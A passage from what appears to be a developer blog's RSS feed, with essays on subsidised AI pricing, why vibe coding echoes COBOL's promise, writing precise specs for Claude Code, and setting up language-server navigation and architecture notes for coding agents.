those thousands of GPUs cost tens of millions of dollars for a single training run. That’s before we talk about the ongoing cost of serving that model to every user who hits the API every day. Training is the capital expenditure. Inference — every time you actually use Claude — is the operating cost. I’m talking about the second thing. Both are obscene.</p><p>Let’s look at what’s actually happening, because the numbers are — and I say this as someone who’s seen a lot of startup math — genuinely unhinged.</p><p>OpenAI’s revenue went from $3.7 billion in 2024 to over $20 billion ARR by end of 2025. Ten times in two years. Sounds like they’ve figured it out. Except their own internal projections show losses of $14 billion in 2026 — against $13 billion in revenue. The revenue explodes. The costs explode faster. Microsoft has put in $13 billion. SoftBank committed $41 billion across various tranches. A 2026 funding round valued the company at $730 billion. None of this is profit. All of it is gap-filling.</p><p>Anthropic is nearing $20 billion in annualized revenue as of early 2026 — up from $1 billion at the start of 2025. Google has put in over $3 billion in equity, plus a cloud infrastructure deal described as “tens of billions” in compute. Amazon has committed $8 billion. The Series G closed at a $380 billion valuation. These are not investments in a profitable business. These are bets on essential infrastructure, placed by people who are terrified of the alternative.</p><p>Google’s own AI division is entirely subsidized by search advertising. They watched OpenAI nearly disrupt their core business and decided that losing money on AI is preferable to losing the company. You can’t really argue with the logic. You can appreciate that the logic benefits you.</p><p>Here’s what makes this particularly strange: the more usage grows, the worse the unit economics get. OpenAI’s gross margins collapsed from roughly 40% to 33% in 2025 because inference costs quadrupled as usage scaled. They’re getting less efficient per dollar as they get bigger. The burn isn’t winding down. It’s accelerating.</p><p>They’re all playing the same game — lose money now, win the market, figure out profitability later. You’ve seen this movie. AWS subsidized startups through aggressive discounting from 2008-2015 and built the most profitable cloud business in history. Uber burned billions subsidizing rides below cost for seven years. Every streaming service ran at a loss from 2015-2022 while racing to lock in subscribers before the music stopped.</p><p>The pattern: 5-8 years of heavy subsidies. Prices normalize. The land grab ends. Survivors optimize for margin.</p><p>AI is somewhere in year 3-4 of this cycle.</p><h1 id="why-theyre-subsidizing-you-specifically"><strong>Why They’re Subsidizing You Specifically</strong></h1><p>Here’s the part most people miss.</p><p>It’s not just the gym membership model — yes, light users subsidize heavy users across the subscriber base. But for developers specifically, you serve a purpose that goes way beyond the math:</p><p><strong>You evangelize.</strong> Every blog post about Claude Code, every Hacker News comment about your workflow, every Slack recommendation to a colleague — that’s marketing no ad budget can replicate. Authentic practitioner enthusiasm is worth more than a campaign, and they get it from you for free.</p><p><strong>You’re the top of the enterprise funnel.</strong> The conversion path goes: you try Pro, you love it, you build something real, you show your team, your team shows leadership, leadership signs a $500K enterprise contract. That single deal is worth 2,500 Max subscribers. You’re not where the money is. You’re where the money comes from.</p><p><strong>You stress-test the product.</strong> Power users find the edges. You file the bug reports casual users never hit. This feedback loop is genuinely expensive to replicate through formal QA — and you’re doing it gratis.</p><p><strong>You build the ecosystem.</strong> Tutorials, repos, guides, courses. The content that helps a thousand other developers get value from the product? That’s unpaid work you’re doing for their platform.</p><p>You are, in the most literal sense, being paid for this in subsidized compute. It’s a trade. The question is whether you’re getting the better end of it.</p><p>(You are. Obviously. That’s the point.)</p><h1 id="how-long-does-the-window-stay-open"><strong>How Long Does the Window Stay Open?</strong></h1><p>Nobody knows. Anyone giving you a specific timeline is guessing, including me.</p><p>But the runway math doesn’t matter as much as the signals. Watch these:</p><p><strong>Usage limits tightening.</strong> Already happening. “Unlimited” has gotten more creative in its definition. Rate limits appear. Fair use policies materialize. You’ve noticed.</p><p><strong>Tier restructuring.</strong> The free tier gets worse. The basic tier gets capped. The premium tier develops features that used to be standard. The ladder shifts.</p><p><strong>API price changes.</strong> When enterprise revenue is strong enough to sustain the business, the argument for subsidizing consumers weakens. Check the API pricing page periodically.</p><p><strong>Enterprise-only features.</strong> When the best capabilities start requiring a sales call, the consumer product is no longer the growth driver.</p><p>My working model: 18-24 months of relatively stable economics. After that, genuine uncertainty.</p><p>The open-source wildcard could extend the window or change what “subsidized” even means. The gap between frontier models and the best open-weight models has compressed dramatically — we’re talking 6-12 months behind the frontier now, versus the 18-24 months people were citing a year ago. Running genuinely capable models locally on a Mac is already real, not theoretical. That’s a hedge against pricing pressure, but it doesn’t change the core argument. It just means the floor is higher than it was.</p><p>Either way: cheap access to frontier AI while the models keep getting dramatically better is the thing with the uncertain timeline. Don’t wait for a clear signal. By the time the signal is clear, the window is already closing.</p><h1 id="what-you-should-actually-be-building"><strong>What You Should Actually Be Building</strong></h1><p>This is where I have to resist the urge to give you a twenty-point tactical playbook. (I’m saving that for a separate post. Watch for it.)</p><p>The mental model is simple: use subsidized tools to build assets you own. Don’t just consume. Create.</p><p>For developers building SaaS, this means a few things specifically:</p><p><strong>Ship the MVP, not the perfect version.</strong> Claude Code does 70% of the implementation and you do the system design and judgment calls. A SaaS MVP that would have taken three months solo two years ago takes a weekend now. These economics are extraordinary and they will not last forever. The price of “wait until it’s ready” is time you don’t have.</p><p><strong>Build the content moat before everyone else does.</strong> Technical guides, deep-dives, tutorials on topics you actually know. This content ranks before your competitors get around to writing theirs. The window for content arbitrage — where AI-assisted quality beats raw human output at volume — is also temporary. The ones who started in 2025-2026 will own the long-tail traffic. The rest will write for audiences that already exist.</p><p><strong>Develop taste.</strong> This is the skill that survives every model improvement and every price normalization. Knowing whether AI output is actually good — whether the code is maintainable, whether the architecture makes sense, whether the essay says something real — is something that cannot be automated. It gets more valuable as AI gets cheaper. Invest in it.</p><p><strong>Build the audience.</strong> Newsletter subscribers, people who trust your recommendations, readers who show up when you publish. This is the asset that persists regardless of what happens to model pricing. You’re not renting audience from Anthropic. You own it.</p><p>The math I keep returning to: 18 months of focused effort with subsidized AI tools could produce 3-5 years of normal-pace output. The SaaS you’ve been procrastinating? You could ship three of them. The content backlog? Gone. The technical course based on your experience? Done.</p><p>That compounds. The skills sharpen. The audience grows. By the time pricing normalizes, you’ve already built the moat.</p><h1 id="the-only-question-that-matters"><strong>The Only Question That Matters</strong></h1><p>You pay 200/month.You′regetting200/<em>month</em>.<em>You</em>′<em>regetting</em>600-900/month in value. That arbitrage exists right now, today.</p><p>But the real arbitrage isn’t the monthly spread. It’s what you build during the window.</p><p>The people who win this period aren’t the ones who used Claude for the most impressive demo or the most clever prompt chain. They’re the ones who used cheap frontier AI access to build products, audiences, and content that persist after the subsidies end.</p><p>So: what are you shipping?</p><p>The clock’s running.</p><p><em>This post started as a rabbit hole triggered by a paragraph in Sebastian Raschka’s<a href="https://www.manning.com/books/build-a-large-language-model-from-scratch" rel="external nofollow noopener" class="lnp-link">Build a Large Language Model from Scratch</a> (Manning). His Substack is obviously worth following:<a href="https://substack.com/@rasbt" rel="external nofollow noopener" class="lnp-link">@rasbt</a>.</em></p>
]]></content:encoded></item><item><title>Will Vibe Coding Replace Developers? COBOL Already Tried.</title><link>https://lakshminp.com/2026/03/will-vibe-coding-replace-developers/</link><pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/03/will-vibe-coding-replace-developers/</guid><category>essays</category><category>ai-coding</category><description>Last month I spent about forty minutes arguing with Claude Code about a rate limiter.
Not debugging a rate limiter. Not implementing one. Arguing. I had typed “add a usage limit to the free tier” and gotten back something that technically worked — it counted things and stopped you when you hit the limit — but was also completely wrong in about six different ways that I hadn’t specified because I hadn’t thought to specify them.</description><content:encoded>&lt;![CDATA[<p>Last month I spent about forty minutes arguing with Claude Code about a rate limiter.</p><p>Not debugging a rate limiter. Not implementing one.<em>Arguing.</em> I had typed “add a usage limit to the free tier” and gotten back something that technically worked — it counted things and stopped you when you hit the limit — but was also completely wrong in about six different ways that I hadn’t specified because I hadn’t thought to specify them.</p><p>When does the counter reset? Daily? Monthly? On the billing cycle? What counts as a usage event — an API call, a feature access, a row stored? What happens at exactly 100%: hard block, soft warning, grace period where we beg you to upgrade? Do existing free users get grandfathered, or do they wake up tomorrow blocked from the thing they’ve been using for three months? What if someone hits the limit mid-checkout?</p><p>I hadn’t answered any of those questions. I had typed eight words and expected a computer to answer them for me. And the computer, being a computer (a very impressive one, but still a computer), had silently picked answers that seemed reasonable. UTC midnight resets. Hard blocks. No grandfathering.</p><p>Nobody wants UTC midnight resets. Nobody wants a hard block in the middle of checkout. And nobody, including me, had thought to say so.</p><p>That forty-minute argument was, in the precise technical sense, programming. Not in the syntax sense. In the real sense: figuring out exactly what I wanted the computer to do, in enough detail that it could actually do it.</p><p>Which brings me to Grace Hopper, and why the current panic about AI replacing developers is about sixty-five years old.</p><p>In 1959, Grace Hopper helped create a programming language called COBOL.</p><p>Common Business-Oriented Language. The name is the pitch. This isn’t for programmers — it’s for<em>business people</em>. The syntax looked like a business memo. You wrote<code>ADD SALESTAX TO TOTALPRICE GIVING INVOICE-TOTAL</code>. Sentences. Paragraphs. English words that a manager could theoretically read and understand and maybe, just maybe, write.</p><p>The promise was explicit: if the language is human enough, we won’t need programmers as intermediaries. Business users could specify their own software. The bottleneck — translating business requirements into code — would evaporate.</p><p>You know how this ends. COBOL created more programmer jobs than almost any technology before or since. Banks ran it for sixty years. Governments still run it. The programmer shortage it was supposed to prevent became one of the most persistent gaps in technology. The job postings for COBOL developers today —<em>today</em>, in 2026 — pay embarrassingly well because the people who understand those systems are retiring and there aren’t enough people to replace them.</p><p>The promise evaporated. The programmers did not.</p><p>Now, the obvious response here is: that was 1959. We were trying to replace programmers with<em>verbose English-looking syntax</em>. That’s completely different from vibe coding, which uses<em>actual English</em>, processed by a large language model that has ingested most of human knowledge. The comparison is unfair.</p><p>Fair enough. Let me make it fair.</p><p>After COBOL came 4th generation languages — the 70s and 80s promised that business users could generate reports and query databases without programmers. And they could! Until anything got complex, at which point someone had to specify what “complex” meant. That someone was, increasingly, a programmer with a different job title.</p><p>Then HyperCard in 1987. Anyone could build interactive applications — stacks, cards, buttons, scripts. And many people did! Wonderful things. And then the moment you wanted it to do something non-trivial, you needed to understand enough about conditional logic and data structures that you were, functionally, programming. The interface was friendlier. The underlying activity was identical.</p><p>Then no-code in the 2010s. Citizen developers. Visual workflows. Drag-and-drop databases. I watched three different companies I worked at try to use no-code platforms to “reduce dependency on engineering.” It reduced dependency on engineering the same way COBOL did: by creating a new class of technical specialists (now called “no-code developers” or “operations engineers”) who spent their days fighting with visual tools that couldn’t quite express what they needed to express.</p><p>Same experiment, sixty-five years, same result. Better interface, same bottleneck.</p><p>Here’s what I think is actually happening, and a comment on a Hacker News thread about agentic engineering said it more precisely than I can:</p><p><em>“When you get down to breaking down that problem&hellip; you become a programmer.”</em></p><p>The average person doesn’t know what their actual problems are in sufficient detail to get a working solution. Not because they’re not smart. Because<em>the act of breaking a problem down into precisely specified steps that a computer can execute without ambiguity is programming</em> — regardless of whether the syntax is<code>COMPUTE TAX = PRICE * RATE</code> or<code>def calculate_tax(price, rate): return price * tax</code> or “hey, write me something that calculates tax.”</p><p>The specification is the programming. The syntax is just notation.</p><p>Vibe coding is genuinely different from COBOL in one important sense: the interface change is more dramatic. Natural language processed by a model that can write working TypeScript from a vague description is qualitatively new. The gap between “what you type” and “what runs” has never been smaller.</p><p>But the gap between “what you type” and “what you actually wanted” is exactly as large as it’s always been. Possibly larger, because the tool is so capable that it confidently fills in every unspecified detail, silently, in ways that seem reasonable until they’re not.</p><p>My rate limiter reset at UTC midnight because I didn’t say it shouldn’t. The agent wasn’t wrong. I was underspecified.</p><p>What vibe coding has genuinely changed: the syntax, the boilerplate, the standard implementations of standard patterns are now basically free. A solo developer with Claude Code can ship in a week what used to take a team a month. That’s real leverage and I use it every day.</p><p>What hasn’t changed: the irreducible core of the job — figuring out with enough precision what you want the computer to do — is still entirely human work. And based on sixty-five years of running this experiment, there’s a reasonable argument that it’s<em>definitionally</em> human work. When you get specific enough about a problem to get a working solution, you’ve already done the programmer’s job. You might be doing it in plain English now instead of Python. You’re still doing it.</p><p>The developer job is changing. Less time on syntax, more time on the thinking that was always the hard part. More time arguing with your tools about exactly what you meant. More time specifying the edge cases before the tool invents its own.</p><p>If you’ve ever wanted to spend less time fighting TypeScript compiler errors and more time actually thinking about what you’re building — genuinely, that part is better now.</p><p>But the thinking is still yours.</p><p>The programmers are still here. They’ve been here since 1959. They’ll be here after vibe coding. They just keep getting better tools.</p><p>Learn from the evidence. It’s sixty-five years old and it’s not subtle.</p>
]]></content:encoded></item><item><title>What Chinese Factories Taught Me About Prompting Claude Code</title><link>https://lakshminp.com/2026/03/claude-code-prompt-engineering/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/03/claude-code-prompt-engineering/</guid><category>essays</category><category>claude-code</category><category>ai-coding</category><description>A few weeks ago, I fell down a Hacker News rabbit hole at 11pm. Someone had posted a manufacturing post-mortem — one of those beautiful, painful essays where a hardware founder documents exactly how badly they got burned.
This founder had designed a custom lamp. Spent months prototyping. Found a factory in Shenzhen. Shipped 500 units.
When the boxes arrived, the light-entry holes had been used as casting pour-points — the factory needed somewhere to pour the material, saw the holes, and went with it. The cable tails were two centimeters instead of ten. The knobs didn’t fit because the powder coating added thickness that nobody put in the spec. Everything technically matched the purchase order. Nothing actually worked.</description><content:encoded>&lt;![CDATA[<p>A few weeks ago, I fell down a Hacker News rabbit hole at 11pm. Someone had posted a manufacturing post-mortem — one of those beautiful, painful essays where a hardware founder documents exactly how badly they got burned.</p><p>This founder had designed a custom lamp. Spent months prototyping. Found a factory in Shenzhen. Shipped 500 units.</p><p>When the boxes arrived, the light-entry holes had been used as casting pour-points — the factory needed somewhere to pour the material, saw the holes, and went with it. The cable tails were two centimeters instead of ten. The knobs didn’t fit because the powder coating added thickness that nobody put in the spec. Everything technically matched the purchase order. Nothing actually worked.</p><p>I read that post-mortem three times. Then I read the top comment, which was one of those sentences that you immediately screenshot because it’s just too true:</p><p><em>“Anything you don’t specify will be done at minimum cost.”</em></p><p>I put my phone down. I looked at the ceiling. And then I thought about the email sender I’d had Claude Code generate that afternoon.</p><p>Let me tell you what I had asked for: “Send a welcome email to new users when they sign up.”</p><p>Let me tell you what I got: A function that sent emails. Technically correct. It looped over every new user and called the email API synchronously, one by one, waiting for each response before moving to the next. No rate limiting. No retry logic. No unsubscribe link — because I didn’t ask for one, and CAN-SPAM compliance wasn’t in the prompt. When I ran it against a list of 8,000 users, it fired all 8,000 requests in a tight loop, Gmail flagged the sending domain as a spam source within six hours, and my domain was blacklisted before I’d finished my coffee.</p><p>Everything sent. Nothing arrived.</p><p>I had been vibe coding with Claude Code for six months at that point, and I thought I was pretty good at it. I could get it to build things fast. I could chain prompts together. I had<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> files and hooks and all the trappings of someone who knew what they were doing.</p><p>What I didn’t understand — what the Hacker News post-mortem forced me to understand — is that I had completely misidentified what kind of relationship I was in.</p><p>I thought I was pair programming with a senior engineer.</p><p>I was issuing purchase orders to a factory.</p><p>This distinction sounds philosophical. It isn’t. It has concrete, expensive implications for every vibe coding prompt you write.</p><p>A senior engineer fills gaps with judgment. If you say “build auth,” a good senior engineer asks: what are the scale requirements? What’s the threat model? Are we storing PII? They fill the spec gaps with professional standards because they have skin in the game — it’s their name on the code, their reputation on the line, their on-call rotation if it breaks at 3am.</p><p>A factory fills gaps with cost optimization. If the spec doesn’t say “cable tails must be 10cm,” the factory cuts them at 2cm. Not because they’re malicious. Because that’s 8cm of wire per unit times 500 units and someone’s margin depends on it. They’re perfectly rational. They’re just optimizing for something that has nothing to do with whether your lamp works.</p><p>Claude optimizes for “satisfies the prompt.” That’s the whole job. Your vague prompt is its permission to take shortcuts, and it will take them — not maliciously, but with the same rational efficiency as a factory floor supervisor who notices you didn’t specify the minimum acceptable wire gauge.</p><p>Here’s the thing about the hardware community that I find both humbling and enraging: they figured this out decades ago. They built an entire profession around it. These people are called sourcing agents, and their whole job is translating “I want a nice lamp” into a 47-page document covering material density, wire gauge, coating thickness, packaging dimensions, UV stability ratings, and what happens to the tooling if the order falls below minimum quantity.</p><p>Forty-seven pages. For a lamp.</p><p>In vibe coding, the sourcing agent is you. Most developers have been accidentally promoted to this role without realizing it. They’re still acting like they’re talking to a colleague. They’re actually running a factory and they’re skipping the quality control, the detailed specs, and the first-article inspection — all the boring stuff that hardware people do automatically because they’ve shipped enough garbage to know better.</p><p>I’ve started reading Hacker News manufacturing posts specifically to steal their frameworks for this. A few things that have genuinely changed how I write prompts:</p><p><strong>Spec your constraints, not just your features.</strong> “Send welcome emails” is a feature request. “Send welcome emails via SES, rate-limited to 14 per second to stay under AWS sending limits, with exponential backoff and a max of 3 retries on failure, an unsubscribe link in the footer per CAN-SPAM, a plain-text fallback alongside the HTML version, and a hard skip for any address that has previously bounced or complained” is a spec. The difference isn’t intelligence — it’s the same way specifying wire gauge isn’t about distrusting your factory. It’s about understanding that factories don’t have opinions about wire gauge. They have margins.</p><p><strong>Inspect the first batch before commissioning the full run.</strong> Hardware founders don’t ship the first production run to customers. They order samples. They measure every dimension with calipers. The good ones fly to Shenzhen and stand on the factory floor. The developer equivalent is reading the first 200 lines of generated code before asking Claude to build the next feature on top of it. Check the database schema before building the API on top of it. Read the auth flow before adding the permissions layer. This feels slow. It is much faster than discovering that the foundation is wrong after you’ve built four floors.</p><p><strong>Specify what you don’t want.</strong> This one surprised me. Experienced sourcing agents reportedly spend half their spec document on exclusions. “No recycled plastic in structural components.” “No substituted components without written approval.” “No unlicensed firmware.” They’ve learned that a factory will always find the interpretation of the spec that costs them the least, so you have to close the doors. For prompts: “No inline styles. No TypeScript<code>any</code> types. No<code>console.log</code> for error handling. No<code>SELECT *</code> queries. No external dependencies unless they’re in the approved list.” The AI will not volunteer that it’s about to do these things. It will do them and move on.</p><p><strong>Budget time for the spec, not just the build.</strong> Hardware founders allocate somewhere between 30-40% of their project timeline to specification work. The manufacturing part — the actual production — is the smaller slice. Vibe coders typically invert this. Five percent on the prompt, ninety-five percent on generating code and then debugging the surprising things that came out of a vague prompt. The debugging is expensive. The spec is cheap.</p><p>The thing I keep coming back to is that using Chinese manufacturers is incredible leverage. You can build a physical product without owning a factory, without specialized tooling knowledge, without decades of manufacturing experience. It’s genuinely one of the great unlocks of the modern economy. And it works — when you write the spec correctly.</p><p>Using Claude to write code is the same kind of leverage. You can build things without knowing every library, without remembering every API, without holding the entire codebase in your head at once. It works. When you treat it like what it is.</p><p>Your prompt is a manufacturing spec. The code is the factory output. The factory will be rational, efficient, and completely indifferent to whether your product actually works.</p><p>Write the spec accordingly.</p><p>Or enjoy your two-centimeter cable tails.</p>
]]></content:encoded></item><item><title>Claude Code Has Been Navigating Your Codebase Like a Tourist With No Map</title><link>https://lakshminp.com/2026/03/claude-code-lsp-semantic-context-agents/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/03/claude-code-lsp-semantic-context-agents/</guid><category>essays</category><category>claude-code</category><description>Here’s a thing that happened to me.
I was watching a Claude Code session — one of those where you hand the agent a task and then sit back to observe, feeling very enlightened and modern. The task was simple: find where user authentication was implemented and add a new field to the login flow.
The agent started grepping. authenticate. Then auth. Then login. Then loginUser. Then handleLogin. Each grep taking 3-8 seconds, scanning hundreds of files, returning walls of output full of comments, test fixtures, variable names that happened to contain the word “auth”, README lines I’d written two years ago and forgotten.</description><content:encoded>&lt;![CDATA[<p>Here’s a thing that happened to me.</p><p>I was watching a Claude Code session — one of those where you hand the agent a task and then sit back to observe, feeling very enlightened and modern. The task was simple: find where user authentication was implemented and add a new field to the login flow.</p><p>The agent started grepping.<code>authenticate</code>. Then<code>auth</code>. Then<code>login</code>. Then<code>loginUser</code>. Then<code>handleLogin</code>. Each grep taking 3-8 seconds, scanning hundreds of files, returning walls of output full of comments, test fixtures, variable names that happened to contain the word “auth”, README lines I’d written two years ago and forgotten.</p><p>Six minutes in, the agent had read approximately 40% of my codebase and was confidently editing&hellip; a test helper that mocked authentication. Not the actual implementation. A mock. In a test file.</p><p>I watched it do this — a system with the reasoning capacity of a senior engineer, burning through context and API calls to do something that VS Code does when I hold Ctrl and click a function name. Something VS Code has done since 2016. Something that takes 50 milliseconds.</p><p>This is the state of the art in 2026. The most capable AI coding tool available, navigating your codebase the way your grandfather would navigate a foreign city: slowly, incorrectly, and with a lot of asking for directions from people who don’t know either.</p><p>There’s a fix. There are actually two fixes, and you need both. But first I want to explain why the problem is worse than it looks, because if you don’t understand the root cause, you’ll implement half of the solution and wonder why your agents still feel like babysitting.</p><p>Let me tell you about grep, and why it’s a disaster for code navigation specifically.</p><p>Grep is a text search tool. It finds patterns in text. This is genuinely useful for a lot of things. When you want to find every config file that mentions a database host, grep is perfect. When you want to find a log line, grep is perfect. When you want to navigate code semantically — find where a function is<em>defined</em>, trace what<em>calls</em> a function, understand the type hierarchy — grep is completely wrong for the job. It just happens to be the only hammer available, so everything looks like a nail.</p><p>Here’s the specific failure mode. When your agent searches for<code>authenticate</code>, it finds:</p><pre><code>auth.service.ts:47: async authenticate(user: User): Promise&lt;Token&gt; {
auth.service.ts:112: // authenticate is called after 2FA verification
auth.middleware.ts:23: // Middleware that calls authenticate() before protected routes
auth.test.ts:8: describe('authenticate', () =&gt; {
utils/mock-auth.ts:31: authenticate: jest.fn().mockResolvedValue(mockToken),
config/dev.ts:15: authenticateWithMock: true,
README.md:234: ## How to authenticate</code></pre><p>Seven results. One is the actual definition. The agent has to read all of them, reason about which one is the real thing, and then probably read the files surrounding each one to build context. Meanwhile, it’s consuming tokens, spending time, and building a picture of your codebase that’s assembled from grep outputs rather than from actual structural understanding.</p><p>The deeper problem: grep doesn’t understand the<em>difference</em> between a definition, a call site, a comment, a test mock, and a config flag. Those are fundamentally different things in the semantic structure of a codebase. A human engineer with IDE tooling can instantly distinguish them. An agent with only grep cannot — it has to infer the difference from text patterns and context, which it does imperfectly, which means it makes wrong edits, which you have to catch and correct, which is why agent sessions still require babysitting.</p><p>This is not a clever problem. We solved it for humans a long time ago.</p><p>In 2016, Microsoft did something quietly brilliant. They were building VS Code, and they had a problem: every editor had to implement language intelligence from scratch. Vim plugins, Emacs modes, IntelliJ — everyone was reimplementing the same understanding of what a TypeScript file meant, independently, badly, in incompatible ways.</p><p>Their solution was the Language Server Protocol. The idea: separate the “smarts” from the editor. Create a standard protocol where a language server — a standalone process that deeply understands a specific language — can talk to any editor that speaks the protocol. Build the language server once, correctly, and every editor gets the benefit.</p><p>A language server is not a text search tool. It parses your code into an Abstract Syntax Tree. It resolves types. It builds a symbol table — a complete map of every identifier in your codebase: what it is, where it’s defined, what it references, what references it. When VS Code shows you that<code>authenticate</code> is defined in<code>auth.service.ts</code> on line 47, it’s not searching for the string “authenticate.” It’s looking up<code>authenticate</code> in the symbol table and getting back a precise answer in under 50 milliseconds.</p><p>LSP was so obviously right that it became universal. Every serious editor implemented it. Every major language has a language server:<code>pyright</code> for Python,<code>gopls</code> for Go,<code>typescript-language-server</code> for TypeScript,<code>rust-analyzer</code> for Rust,<code>clangd</code> for C/C++. You almost certainly have at least one of these running on your machine right now.</p><p>The irony is that we gave AI agents trillion-parameter language models with remarkable reasoning capabilities, and then handed them grep for code navigation. Like building a Formula 1 car and fitting it with bicycle tires.</p><p>Claude Code can connect to these language servers. As of early 2026, this is an undocumented community workaround discovered via a GitHub issue — not an official feature. Which is funny, given how much it changes things. Enable it by adding to<code>~/.claude/settings.json</code>:</p><pre><code>{
"env": {
"ENABLE_LSP_TOOL": "1"
}
}</code></pre><p>Or export it in your shell profile if you prefer:</p><pre><code>export ENABLE_LSP_TOOL=1</code></pre><p>Then install the language server plugin for your stack. Claude Code has a plugin system for this — update the marketplace first, then install:</p><pre><code>claude plugin marketplace update claude-plugins-official
# TypeScript/JavaScript
claude plugin install typescript-lsp
npm install -g typescript-language-server typescript
# Python
claude plugin install pyright-lsp
npm install -g pyright
# Go
claude plugin install gopls-lsp
go install golang.org/x/tools/gopls@latest
# Rust
claude plugin install rust-analyzer-lsp
rustup component add rust-analyzer</code></pre><p>One gotcha that will silently waste your time: a plugin can be installed but disabled. An installed, disabled plugin does nothing — no LSP server registers at startup, no tools become available, no error. Just grep, same as before. After installing, run<code>claude plugin list</code> and confirm the status reads<code>enabled</code>. If it shows<code>disabled</code>, run<code>claude plugin enable &lt;name&gt;</code>. Check this before you spend 20 minutes wondering why nothing changed.</p><p>Once enabled, your agent gets access to tools that most people don’t know exist:</p><p><code>goToDefinition</code> — exact location of any symbol’s definition. Not “files that contain this string.” The<em>definition</em>. In ~50ms.</p><p><code>findReferences</code> — every call site in your entire codebase. Every single one, sorted, precise, with file and line number.</p><p><code>workspaceSymbols</code> — search your codebase by symbol name. Returns only actual code symbols (functions, classes, interfaces, variables) — not comments, not strings, not README lines.</p><p><code>hover</code> — full type information for any identifier. When the agent is about to call a function, it can check the exact signature first rather than guessing.</p><p><code>diagnostics</code> — real-time type errors. When the agent changes a function signature, the language server immediately reports every caller that’s now broken. In the same turn. Before the broken code ever runs.</p><p>That last one changes the loop entirely. Without LSP, the workflow is: agent makes a change → change breaks something → you run tests → tests fail → agent fixes it → might break something else → iterate. You’re discovering errors through tests, which means you’re discovering them late, which means multiple turns of cleanup for each mistake.</p><p>With LSP, the workflow is: agent makes a change → diagnostics immediately flag every type error caused by that change → agent fixes everything in the same turn. Error discovery goes from “whenever you run tests” to “immediately.” This alone is worth the two minutes it takes to set up.</p><p>Here’s the catch, and it’s not obvious until you run into it.</p><p>Even with LSP enabled and plugins installed and confirmed active, Claude still<em>prefers</em> grep. Grep is familiar, grep is in its training distribution, grep is what it reaches for first. Having the tools available doesn’t automatically mean Claude will use them.</p><p>Add this to your<code>CLAUDE.md</code>:</p><pre><code>## Code Navigation
Prefer LSP tools over Grep for any code navigation task:
- Use workspaceSymbol to find symbols by name
- Use goToDefinition to find where something is defined
- Use findReferences to find all call sites
- Use diagnostics after any edit to catch type errors immediately
Use Grep only for text search: log messages, comments, config values,
string literals. Never use Grep to find function definitions.</code></pre><p>Explicit instructions in<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> override default behavior. This is a documented pattern: the tools exist, but you have to tell the agent to use them. Think of it as configuring the agent’s preferences, not patching the agent’s capabilities.</p><p>Now here’s the part where most people stop, and where they shouldn’t.</p><p>LSP gives your agent GPS. It knows<em>how</em> to navigate.<code>findReferences</code> from anywhere in the codebase will return exact results. But GPS without a destination is just a compass. Your agent still has to figure out<em>where to go</em> before it can navigate there efficiently.</p><p>Think about how an experienced engineer ramps up on a new codebase. They don’t start by grepping for things. They start by asking questions: where does the auth layer live? What’s the database access pattern? How do the services communicate? They build a mental model first, then navigate with precision.</p><p>Your agent has no mental model of your codebase unless you give it one. Every session starts cold. It has the code itself (too much to read exhaustively) and the tools to navigate it (useful once oriented) but no map. So it wanders.</p><p>The second layer is a structured description of your codebase’s architecture. Not documentation. Not a README. A map for the agent — written in terms of what the agent needs to know to get oriented quickly:</p><pre><code>## Codebase Architecture
**Entry point:** src/server.ts bootstraps the app. All route registration happens here.
**Auth layer:** Everything authentication-related lives in /src/auth.
The entry point is `authenticate()` in auth.service.ts.
JWT handling is in auth.middleware.ts. Session storage is Redis via auth.session.ts.
Never bypass the middleware — it handles rate limiting and audit logging.
**Services:** Business logic in /src/services.
PaymentService, UserService, NotificationService are the big three.
Services never call each other directly — all cross-service communication
routes through the event bus in /src/events/index.ts.
**Database:** Prisma ORM. Never write raw SQL — always go through the Prisma client.
Schema lives in /prisma/schema.prisma. Run `npm run db:migrate` after schema changes.
**External integrations:** Stripe in /src/integrations/stripe,
SendGrid in /src/integrations/email. Each integration has a fake for testing.</code></pre><p>You put this in<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a>, or in a dedicated<a href="http://architecture.md/" rel="external nofollow noopener" class="lnp-link">ARCHITECTURE.md</a> that<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> imports via<code>@ARCHITECTURE.md</code>.</p><p>What changes: your agent starts the session<em>oriented</em>. When you ask it to add a new payment method, it already knows that payment logic lives in<code>/src/services/PaymentService</code>, that external Stripe calls go through<code>/src/integrations/stripe</code>, and that services communicate through the event bus. It doesn’t need to explore your codebase to discover the architecture. It can go directly to the right place and navigate from there with LSP precision.</p><p>The GPS analogy only goes so far. A better way to think about it: LSP is your agent’s ability to look something up instantly. Semantic context is the agent knowing what to look up. Both are required. Without the map, LSP is a fast tool pointed in random directions. Without LSP, the map tells you where to go but getting there is still six minutes of grepping.</p><p>Together, your agent works the way a senior engineer works on a codebase they know well: they know the territory, they navigate precisely, and they catch their own mistakes before committing them.</p><p>The reason I keep coming back to this: the numbers suggest agents are about to do a lot more real work.</p><p>Michael Truell<a href="https://x.com/mntruell/status/2026736314272591924" rel="external nofollow noopener" class="lnp-link">announced recently</a> that Cursor now has 2x more agent users than Tab (autocomplete) users. Agent usage is up 15x in a year. More than a third of PRs merged at Cursor are created by agents running autonomously in the cloud — not a human in the loop, not autocomplete suggestions, agents doing complete pieces of work end-to-end.</p><p>If that’s the direction — and the trajectory makes it pretty clear it is — then agents navigating codebases with grep is a bottleneck at the wrong layer. You’ve solved the intelligence problem. You have an agent that can reason about complex changes across multiple files. You have not solved the navigation problem, which means the intelligence is being spent on finding things instead of changing them. It’s like hiring a brilliant architect and making them do their own filing.</p><p>LSP and semantic context are table stakes for agent-native codebases. The fact that LSP is buried in settings and semantic maps are a community pattern rather than a first-class feature is a product gap. It’ll get closed. But right now you have to close it yourself, and it takes about thirty minutes.</p><p>Set up the language server for your stack. Enable LSP in settings.json. Tell Claude to prefer it in<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a>. Write an architecture section that orients the agent in the first turn. Thirty minutes of setup for sessions that actually feel autonomous.</p><p>Your future self will be insufferably smug about 